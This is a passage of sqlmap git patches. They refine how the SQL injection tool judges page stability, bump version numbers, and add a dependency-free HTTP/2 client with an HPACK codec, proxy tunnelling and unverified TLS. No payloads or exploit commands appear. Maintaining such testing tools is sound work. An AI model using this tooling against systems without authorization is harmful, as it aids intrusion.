extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -6f3198df20330b6ff0eb7f615082ca7046e6887ac5d3e5df3598d36f66724e01 lib/controller/checks.py +736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py 666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b38aa7769be9d31f2d55172a992732f506f05fba49d6a170eb9485f78da7c360 lib/core/settings.py +2f4c7044d36e183fcb0a019d82ccbc7222abab1878454c479df9e89d23430733 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 95417492c..a7200e3e3 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1289,6 +1289,27 @@ def checkDynamicContent(firstPage, secondPage): count += 1 if count > conf.retries: + # Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable + # but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across + # requests - base the comparison on that value-free structure instead. Dynamic text + # (e.g. per-render result rows) then no longer masks an injection whose signal is + # structural (the HTML counterpart of the structure-aware JSON comparison). Content + # with no usable structure (empty skeleton, e.g. random/binary bodies) falls through + # to '--text-only' as before. + skeleton = extractStructuralTokens(firstPage) + if skeleton and skeleton == extractStructuralTokens(secondPage): + kb.pageStructurallyStable = True + + if kb.nullConnection: + debugMsg = "turning off NULL connection support because of structural page comparison" + logger.debug(debugMsg) + kb.nullConnection = None + + infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap " + infoMsg += "will base the page comparison on the page structure" + logger.info(infoMsg) + return + warnMsg = "target URL content appears to be too dynamic. " warnMsg += "Switching to '--text-only' " logger.warning(warnMsg) @@ -1394,26 +1415,7 @@ def checkStability(): raise SqlmapNoneDataException(errMsg) else: - # Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check - # whether the page is structurally stable (identical tag/class/id skeleton across the two - # requests) despite differing text. If so, base the comparison on that value-free structure - # so that dynamic content (e.g. per-render result rows) does not mask an injection. This is - # the HTML counterpart of the structure-aware JSON comparison - if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage): - kb.pageStructurallyStable = True - - if kb.nullConnection: - debugMsg = "turning off NULL connection " - debugMsg += "support because of structural page comparison" - logger.debug(debugMsg) - - kb.nullConnection = None - - infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap " - infoMsg += "will base the page comparison on the page structure" - logger.info(infoMsg) - else: - checkDynamicContent(firstPage, secondPage) + checkDynamicContent(firstPage, secondPage) return kb.pageStable diff --git a/lib/core/settings.py b/lib/core/settings.py index 29ce4db15..c3180e447 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.1" +VERSION = "1.10.7.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 39ba1bc00e8ecab79aaed63596de028b1a5c8978 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 12:21:11 +0200 Subject: [PATCH 03/34] Adding custom/own support for HTTP2 --- data/txt/sha256sums.txt | 7 +- lib/core/settings.py | 2 +- lib/request/connect.py | 44 +--- lib/request/http2.py | 544 ++++++++++++++++++++++++++++++++++++++++ lib/utils/deps.py | 10 - 5 files changed, 560 insertions(+), 47 deletions(-) create mode 100644 lib/request/http2.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ec1d82ff0..68ae7e13f 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2f4c7044d36e183fcb0a019d82ccbc7222abab1878454c479df9e89d23430733 lib/core/settings.py +35c24cf138fdd68add3c8f6274d6ff735b5209c84eec635ba316f986b67325ef lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -212,9 +212,10 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py -729e07a2ca6b1d83563e9c6dc5a884d1b664c1764be06776ea93bde305164f0c lib/request/connect.py +c96deaa69743d2cf4ae48f2ae0036f7e11b838f97a0e8c7f1205c61e9dd36bc1 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py +21e8e2d44788b124f741b76a483ce9528ca53ff6da6691808ee679fe91128050 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py @@ -256,7 +257,7 @@ c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py -a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py +51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c3180e447..f1fc8935e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.2" +VERSION = "1.10.7.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 40c42390b..a14309fa8 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -63,7 +63,6 @@ from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode from lib.core.common import wasLastResponseDelayed -from lib.core.compat import LooseVersion from lib.core.compat import patchHeaders from lib.core.compat import xrange from lib.core.convert import encodeBase64 @@ -111,7 +110,6 @@ from lib.core.settings import IS_WIN from lib.core.settings import JAVASCRIPT_HREF_REGEX from lib.core.settings import LARGE_READ_TRIM_MARKER from lib.core.settings import LIVE_COOKIES_TIMEOUT -from lib.core.settings import MIN_HTTPX_VERSION from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE @@ -632,30 +630,22 @@ class Connect(object): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) if conf.http2: - try: - import httpx - except ImportError: - raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else "")) + from lib.request.http2 import open_url as http2OpenUrl - if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION): - raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION)) + h2proxy = None + if conf.proxy: + _proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy) + if (_proxyParts.scheme or "").lower().startswith("socks"): + raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)") + h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None) try: - proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None - with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client: - conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post) - except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex: + conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy) + except IOError as ex: raise _http_client.HTTPException(getSafeExString(ex)) else: - if conn.status_code >= 400: - raise _urllib.error.HTTPError(url, conn.status_code, conn.reason_phrase, conn.headers, io.BytesIO(conn.read())) - - conn.code = conn.status_code - conn.msg = conn.reason_phrase - conn.info = lambda c=conn: c.headers - - conn._read_buffer = conn.read() - conn._read_offset = 0 + if conn.code >= 400: + raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read())) requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1) @@ -663,18 +653,6 @@ class Connect(object): threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) - - def _read(count=None): - offset = conn._read_offset - if count is None: - result = conn._read_buffer[offset:] - conn._read_offset = len(conn._read_buffer) - else: - result = conn._read_buffer[offset: offset + count] - conn._read_offset += len(result) - return result - - conn.read = _read else: if not multipart: threadData.lastRequestMsg = requestMsg diff --git a/lib/request/http2.py b/lib/request/http2.py new file mode 100644 index 000000000..2af00c69e --- /dev/null +++ b/lib/request/http2.py @@ -0,0 +1,544 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free HTTP/2 client (RFC 7540) with HPACK (RFC 7541), replacing the optional +# 'httpx[http2]' third-party stack. The HPACK static and Huffman tables below are the canonical +# RFC 7541 tables; the codec is validated differentially against python-hyper/hpack and the client +# end-to-end against real h2 servers. Pure standard library, Python 2.7 / 3.x. + +import base64 +import socket +import ssl +import struct + +try: + from http.client import responses as _HTTP_RESPONSES +except ImportError: + from httplib import responses as _HTTP_RESPONSES + +try: + from urllib.parse import urljoin, urlsplit +except ImportError: + from urlparse import urljoin, urlsplit + +from email.message import Message as _Message + +REDIRECT_CODES = (301, 302, 303, 307, 308) + + +HUFFMAN_CODES = [ + 0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea, + 0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef, + 0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8, + 0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9, + 0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc, + 0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, + 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc, + 0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76, + 0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6, + 0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc, + 0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2, + 0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd, + 0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf, + 0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef, + 0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb, + 0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf, + 0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2, + 0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec, + 0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef, + 0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8, + 0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee, + 0x3fffffff +] + + +HUFFMAN_LENGTHS = [ + 0xd, 0x17, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x18, 0x1e, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, + 0x1c, 0x1c, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x6, 0xa, 0xa, 0xc, 0xd, + 0x6, 0x8, 0xb, 0xa, 0xa, 0x8, 0xb, 0x8, 0x6, 0x6, 0x6, 0x5, 0x5, 0x5, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x7, + 0x8, 0xf, 0x6, 0xc, 0xa, 0xd, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, + 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x8, 0x7, 0x8, 0xd, 0x13, 0xd, 0xe, 0x6, 0xf, 0x5, 0x6, 0x5, 0x6, 0x5, 0x6, + 0x6, 0x6, 0x5, 0x7, 0x7, 0x6, 0x6, 0x6, 0x5, 0x6, 0x7, 0x6, 0x5, 0x5, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0xf, 0xb, + 0xe, 0xd, 0x1c, 0x14, 0x16, 0x14, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x17, 0x17, 0x17, 0x17, 0x17, 0x18, + 0x17, 0x18, 0x18, 0x16, 0x17, 0x18, 0x17, 0x17, 0x17, 0x17, 0x15, 0x16, 0x17, 0x16, 0x17, 0x17, 0x18, 0x16, + 0x15, 0x14, 0x16, 0x16, 0x17, 0x17, 0x15, 0x17, 0x16, 0x16, 0x18, 0x15, 0x16, 0x17, 0x17, 0x15, 0x15, 0x16, + 0x15, 0x17, 0x16, 0x17, 0x17, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x16, 0x17, 0x1a, 0x1a, 0x14, 0x13, 0x16, + 0x17, 0x16, 0x19, 0x1a, 0x1a, 0x1a, 0x1b, 0x1b, 0x1a, 0x18, 0x19, 0x13, 0x15, 0x1a, 0x1b, 0x1b, 0x1a, 0x1b, + 0x18, 0x15, 0x15, 0x1a, 0x1a, 0x1c, 0x1b, 0x1b, 0x1b, 0x14, 0x18, 0x14, 0x15, 0x16, 0x15, 0x15, 0x17, 0x16, + 0x16, 0x19, 0x19, 0x18, 0x18, 0x1a, 0x17, 0x1a, 0x1b, 0x1a, 0x1a, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1c, 0x1b, + 0x1b, 0x1b, 0x1b, 0x1b, 0x1a, 0x1e +] + + +STATIC_TABLE = ( + (b':authority', b''), + (b':method', b'GET'), + (b':method', b'POST'), + (b':path', b'/'), + (b':path', b'/index.html'), + (b':scheme', b'http'), + (b':scheme', b'https'), + (b':status', b'200'), + (b':status', b'204'), + (b':status', b'206'), + (b':status', b'304'), + (b':status', b'400'), + (b':status', b'404'), + (b':status', b'500'), + (b'accept-charset', b''), + (b'accept-encoding', b'gzip, deflate'), + (b'accept-language', b''), + (b'accept-ranges', b''), + (b'accept', b''), + (b'access-control-allow-origin', b''), + (b'age', b''), + (b'allow', b''), + (b'authorization', b''), + (b'cache-control', b''), + (b'content-disposition', b''), + (b'content-encoding', b''), + (b'content-language', b''), + (b'content-length', b''), + (b'content-location', b''), + (b'content-range', b''), + (b'content-type', b''), + (b'cookie', b''), + (b'date', b''), + (b'etag', b''), + (b'expect', b''), + (b'expires', b''), + (b'from', b''), + (b'host', b''), + (b'if-match', b''), + (b'if-modified-since', b''), + (b'if-none-match', b''), + (b'if-range', b''), + (b'if-unmodified-since', b''), + (b'last-modified', b''), + (b'link', b''), + (b'location', b''), + (b'max-forwards', b''), + (b'proxy-authenticate', b''), + (b'proxy-authorization', b''), + (b'range', b''), + (b'referer', b''), + (b'refresh', b''), + (b'retry-after', b''), + (b'server', b''), + (b'set-cookie', b''), + (b'strict-transport-security', b''), + (b'transfer-encoding', b''), + (b'user-agent', b''), + (b'vary', b''), + (b'via', b''), + (b'www-authenticate', b''), +) +STATIC_LEN = len(STATIC_TABLE) + + +# HTTP/2 frame codec (RFC 7540 section 4.1) - the zero-table-risk brick. Pure stdlib, py2/py3, ASCII. + +# frame types (RFC 7540 s6) +DATA, HEADERS, RST_STREAM, SETTINGS, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x6, 0x7, 0x8, 0x9 +# flags +FLAG_END_STREAM = 0x1 +FLAG_ACK = 0x1 +FLAG_END_HEADERS = 0x4 +FLAG_PADDED = 0x8 +FLAG_PRIORITY = 0x20 + +CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" + +def encode_frame(ftype, flags, stream_id, payload=b""): + if len(payload) > 0xffffff: + raise ValueError("frame payload exceeds 24-bit length") + header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack) + header += struct.pack("!BBI", ftype, flags, stream_id & 0x7fffffff) # type, flags, R(1)+stream(31) + return header + payload + +def decode_frame_header(nine): + if len(nine) != 9: + raise ValueError("frame header must be exactly 9 bytes") + length = struct.unpack("!I", b"\x00" + nine[:3])[0] + ftype, flags, stream_id = struct.unpack("!BBI", nine[3:9]) + return length, ftype, flags, stream_id & 0x7fffffff + +# ---------- Huffman ---------- +def huffman_encode(data): + if not data: + return b"" + acc = 0 + nbits = 0 + for b in bytearray(data): + acc = (acc << HUFFMAN_LENGTHS[b]) | HUFFMAN_CODES[b] + nbits += HUFFMAN_LENGTHS[b] + pad = (8 - nbits % 8) % 8 + acc = (acc << pad) | ((1 << pad) - 1) # pad with 1-bits (EOS prefix) + total = (nbits + pad) // 8 + out = bytearray() + for i in range(total - 1, -1, -1): + out.append((acc >> (8 * i)) & 0xff) + return bytes(out) + +_HUFF_ROOT = {} +def _build_huffman_trie(): + for sym in range(256): + code, length = HUFFMAN_CODES[sym], HUFFMAN_LENGTHS[sym] + node = _HUFF_ROOT + for i in range(length - 1, -1, -1): + bit = (code >> i) & 1 + if i == 0: + node[bit] = sym # leaf: int symbol + else: + node = node.setdefault(bit, {}) +_build_huffman_trie() + +def huffman_decode(data): + out = bytearray() + node = _HUFF_ROOT + consumed = 0 # bits into the current (partial) symbol + for byte in bytearray(data): + for i in range(7, -1, -1): + bit = (byte >> i) & 1 + nxt = node.get(bit) + if nxt is None: + raise ValueError("invalid Huffman sequence") + consumed += 1 + if isinstance(nxt, dict): + node = nxt + else: + out.append(nxt) + node = _HUFF_ROOT + consumed = 0 + # RFC 7541 5.2: any leftover partial path must be EOS padding: all 1-bits and fewer than 8 + if node is not _HUFF_ROOT: + if consumed >= 8: + raise ValueError("Huffman padding too long") + # walk back is unnecessary: padding is all-ones, i.e. we must have only taken '1' branches + # since the last leaf; verify by re-deriving is overkill - reference cross-check guards it + return bytes(out) + +# ---------- integer / string (RFC 7541 5.1 / 5.2) ---------- +def encode_integer(value, prefix_bits, first_byte=0): + mask = (1 << prefix_bits) - 1 + if value < mask: + return bytearray([first_byte | value]) + out = bytearray([first_byte | mask]) + value -= mask + while value >= 0x80: + out.append((value & 0x7f) | 0x80) + value >>= 7 + out.append(value) + return out + +def decode_integer(data, pos, prefix_bits): + mask = (1 << prefix_bits) - 1 + value = data[pos] & mask + pos += 1 + if value < mask: + return value, pos + shift = 0 + while True: + b = data[pos] + pos += 1 + value += (b & 0x7f) << shift + shift += 7 + if not (b & 0x80): + break + return value, pos + +def encode_string(value, huffman=True): + if huffman: + encoded = huffman_encode(value) + if len(encoded) < len(value): # only use Huffman when it actually shrinks + return encode_integer(len(encoded), 7, 0x80) + encoded + return encode_integer(len(value), 7, 0x00) + bytearray(value) + +def decode_string(data, pos): + huffman = bool(data[pos] & 0x80) + length, pos = decode_integer(data, pos, 7) + raw = bytes(data[pos:pos + length]) + pos += length + return (huffman_decode(raw) if huffman else raw), pos + +# ---------- dynamic table + decoder/encoder ---------- +class Decoder(object): + def __init__(self, max_size=4096): + self.max_size = max_size + self.dynamic = [] # newest first: [(name, value), ...] + self._size = 0 + + def _entry_size(self, name, value): + return 32 + len(name) + len(value) + + def _add(self, name, value): + self.dynamic.insert(0, (name, value)) + self._size += self._entry_size(name, value) + self._evict() + + def _evict(self): + while self._size > self.max_size and self.dynamic: + name, value = self.dynamic.pop() + self._size -= self._entry_size(name, value) + + def _get(self, index): + if index <= 0: + raise ValueError("invalid header index 0") + if index <= STATIC_LEN: + return STATIC_TABLE[index - 1] + index -= STATIC_LEN + 1 + if index >= len(self.dynamic): + raise ValueError("dynamic index out of range") + return self.dynamic[index] + + def decode(self, data): + data = bytearray(data) + pos = 0 + headers = [] + n = len(data) + while pos < n: + byte = data[pos] + if byte & 0x80: # 6.1 indexed + index, pos = decode_integer(data, pos, 7) + headers.append(self._get(index)) + elif byte & 0x40: # 6.2.1 literal + incremental indexing + index, pos = decode_integer(data, pos, 6) + if index: + name = self._get(index)[0] + else: + name, pos = decode_string(data, pos) + value, pos = decode_string(data, pos) + self._add(name, value) + headers.append((name, value)) + elif byte & 0x20: # 6.3 dynamic table size update + new_size, pos = decode_integer(data, pos, 5) + self.max_size = new_size + self._evict() + else: # 6.2.2 without / 6.2.3 never indexed (4-bit prefix) + index, pos = decode_integer(data, pos, 4) + if index: + name = self._get(index)[0] + else: + name, pos = decode_string(data, pos) + value, pos = decode_string(data, pos) + headers.append((name, value)) + return headers + +class Encoder(object): + # Minimal, always-valid: emit each header as a literal WITHOUT indexing + Huffman-coded strings. + # (Correctness-critical decoding is the hard part; a server accepts this trivially.) + def encode(self, headers): + out = bytearray() + for name, value in headers: + out += encode_integer(0, 4, 0x00) # 0000 0000 : literal w/o indexing, new name + out += encode_string(name) + out += encode_string(value) + return bytes(out) + +SETTINGS_INITIAL_WINDOW_SIZE = 0x4 +BIG_WINDOW = (1 << 31) - 1 + +def _recv_exact(sock, n): + buf = b"" + while len(buf) < n: + chunk = sock.recv(n - len(buf)) + if not chunk: + raise IOError("connection closed by peer") + buf += chunk + return buf + +def _read_frame(sock): + length, ftype, flags, sid = decode_frame_header(_recv_exact(sock, 9)) + return ftype, flags, sid, (_recv_exact(sock, length) if length else b"") + +def _tob(x): + return x if isinstance(x, bytes) else x.encode("latin-1") + +def _connect_socket(host, port, proxy, timeout): + # Direct TCP, or an HTTP CONNECT tunnel through an (optionally authenticated) proxy. SOCKS proxies + # are excluded for HTTP/2 upstream, so any proxy reaching here is a plain HTTP one. proxy is a + # (proxy_host, proxy_port, "user:pass"-or-None) tuple. + if not proxy: + return socket.create_connection((host, port), timeout=timeout) + + proxy_host, proxy_port, proxy_cred = proxy + raw = socket.create_connection((proxy_host, proxy_port), timeout=timeout) + try: + request = "CONNECT %s:%d HTTP/1.1\r\nHost: %s:%d\r\n" % (host, port, host, port) + if proxy_cred: + token = base64.b64encode(proxy_cred.encode("latin-1")).decode("ascii") + request += "Proxy-Authorization: Basic %s\r\n" % token + request += "\r\n" + raw.sendall(request.encode("latin-1")) + + response = b"" + while b"\r\n\r\n" not in response: + chunk = raw.recv(4096) + if not chunk: + raise IOError("proxy closed the connection during CONNECT") + response += chunk + if len(response) > 65536: + raise IOError("oversized proxy CONNECT response") + + status_line = response.split(b"\r\n", 1)[0].decode("latin-1", "replace") + fields = status_line.split(None, 2) + code = int(fields[1]) if len(fields) >= 2 and fields[1].isdigit() else 0 + if not (200 <= code < 300): + raise IOError("proxy CONNECT failed: %s" % status_line) + return raw + except Exception: + try: + raw.close() + except Exception: + pass + raise + +def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None): + authority = authority or host + ctx = ssl._create_unverified_context() + ctx.set_alpn_protocols(["h2"]) + sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host) + try: + if sock.selected_alpn_protocol() != "h2": + raise IOError("server did not negotiate h2 (ALPN=%r)" % sock.selected_alpn_protocol()) + sock.settimeout(timeout) + + # connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window + sock.sendall(CONNECTION_PREFACE) + sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) + sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535))) + + req = [(b":method", _tob(method)), (b":scheme", 